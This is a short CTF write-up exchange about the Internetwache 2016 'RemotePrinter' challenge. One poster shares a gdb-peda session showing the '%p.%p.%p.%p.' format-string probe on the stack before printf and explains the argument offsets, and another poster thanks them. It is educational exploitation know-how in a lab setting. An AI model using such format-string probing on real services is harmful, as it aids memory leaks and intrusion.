internetwache-ctf-2016 / Exploit80 (RemotePrinter) writeup about writeups

[sudhackar]

See the stack just before the printf() is called in gdb-peda.

gdb-peda$ b * 0x0804884e
Breakpoint 1 at 0x804884e
gdb-peda$ r
Starting program: /tmp/RemotePrinter 
This is a remote printer!
Enter IPv4 address:127.0.0.1
Enter port:8000
Thank you, I'm trying to print 127.0.0.1:8000 now!
[----------------------------------registers-----------------------------------]
EAX: 0xffffb3bc ("%p.%p.%p.%p.\n")
EBX: 0xf7fa8000 --> 0x1a8da8 
ECX: 0xffffb3a0 --> 0xffffb3bc ("%p.%p.%p.%p.\n")
EDX: 0xf7fa8000 --> 0x1a8da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd3d8 --> 0xffffd418 --> 0x0 
ESP: 0xffffb3a0 --> 0xffffb3bc ("%p.%p.%p.%p.\n")
EIP: 0x804884e (call   0x80484e0 <printf@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048844:   sub    esp,0xc
   0x8048847:   lea    eax,[ebp-0x201c]
   0x804884d:   push   eax
=> 0x804884e:   call   0x80484e0 <printf@plt>
   0x8048853:   add    esp,0x10
   0x8048856:   sub    esp,0xc
   0x8048859:   push   DWORD PTR [ebp-0xc]
   0x804885c:   call   0x80485c0 <close@plt>
Guessed arguments:
arg[0]: 0xffffb3bc ("%p.%p.%p.%p.\n")
[------------------------------------stack-------------------------------------]
0000| 0xffffb3a0 --> 0xffffb3bc ("%p.%p.%p.%p.\n")
0004| 0xffffb3a4 --> 0xffffb3bc ("%p.%p.%p.%p.\n")
0008| 0xffffb3a8 --> 0x2000 ('')
0012| 0xffffb3ac --> 0x0 
0016| 0xffffb3b0 --> 0x0 
0020| 0xffffb3b4 --> 0x0 
0024| 0xffffb3b8 --> 0x0 
0028| 0xffffb3bc ("%p.%p.%p.%p.\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804884e in ?? ()

See what is at

offset 1 : 0004| 0xffffb3a4 --> 0xffffb3bc ("%p.%p.%p.%p.\n")
offset 2 : 0008| 0xffffb3a8 --> 0x2000 ('')
offset 7 : 0028| 0xffffb3bc ("%p.%p.%p.%p.\n")

See if this is what you needed. Thanks!

[Phil242]

Hi, many thx for the explains, got it ! Phil